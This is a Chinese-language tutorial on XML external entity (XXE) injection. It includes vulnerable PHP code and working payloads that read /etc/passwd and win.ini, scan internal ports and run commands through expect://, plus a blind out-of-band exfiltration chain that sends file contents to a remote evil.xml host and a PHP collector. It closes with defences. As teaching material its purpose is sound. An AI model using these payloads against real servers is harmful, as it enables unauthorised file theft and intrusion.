XXE 漏洞
概述
XML 外部实体注入(XML External Entity)简称 XXE 漏洞XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
常见的 XML 语法结构如下
其中,文档定义类型(DTD)可以是内部声明也可以引用外部 DTD。
内部声明 DTD 格式:<!DOCTYPE 根元素 [元素声明]>。
引用外部 DTD 格式:<!DOCTYPE 根元素 SYSTEM “文件名”>。
在 DTD 中进行实体说明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷
方式的变量。实体可在内部或外部进行声明。
内部声明实体格式:<!ENTITY 实体名称 “实体的值”>。
引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URI”>。
SYSTEM、PUBLIC 对外部资源进行申请。
由于 xxe 漏洞主要是利用了 DTD 引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。当libXML <libxml2.9 才会造成外部注入漏洞。

语法引用外部的实体,而非内部实体,那么 URI 中能写哪些类型的外部实体呢?
主要的有 file、http、https、ftp 等等,当然不同的程序支持的不一样:

XXE漏洞代码分析
案例1
<?php
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML 声明、DTD 文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
获取 post 的 xml 文件 传递到 simplexml_load_string 再进行输出会遭成 xxe 注入测试的 payload
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]>

案例2
<?php
$string_xml = '<?xml version="1.0"
encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml
实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>
获取 xml 变量 创建 dom 对象 转入 xml 进行处理输出。
simplexml_load_string() 函数把 XML 字符串载入对象中
XXE漏洞攻击
有回显
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b "xxe">]>
xxe 漏洞常用利用
1.读取敏感文件
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM
"file:///C:/Windows/win.ini">]>
url 编码
读取 windows 文件
http://127.0.0.1/xxe.php?xml=<%3fxml version%3d"1.0"%3f><!DOCTYPE%20 a%20 [<!ENTITY b SYSTEM
"file%3a%2f%2f%2fC%3a%2fWindows%2fwin.ini">]>

linux 就读取/etc/passwd 文件进行测试
2.使用 php 伪协议 php://filter 读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php" >]>

3.扫描内网和端口
通过扫描 ip 和端口确定内网机器的 ip 和端口开发情况,访问端口会获取 baner 信息
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://127.0.0.1:80">
]>

4.执行命令
若开启 expect 扩展
http://webpenter.com/xxe.php?xml=<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
无回显
称为 blind xxe 可以使用外带数据通道 提取数据
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.0.107/evil.xml">
%remote;
%all;
]>
远程服务器上的
evil.xml 文件内容
<!ENTITY % all "<!ENTITY send SYSTEM ‘http://192.168.0.107/1.php?file=%file;’>">
<?php file_put_contents("1.txt", $_GET[‘file’]); ?>

文件写入成功。获取 1.txt 内容。
XXE防御
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC
3.升级 libxml 组件
更新: 2025-05-05 14:37:42
原文: https://www.yuque.com/yuhui.net/network/rib38l5oock11gm2

评论(0)
暂无评论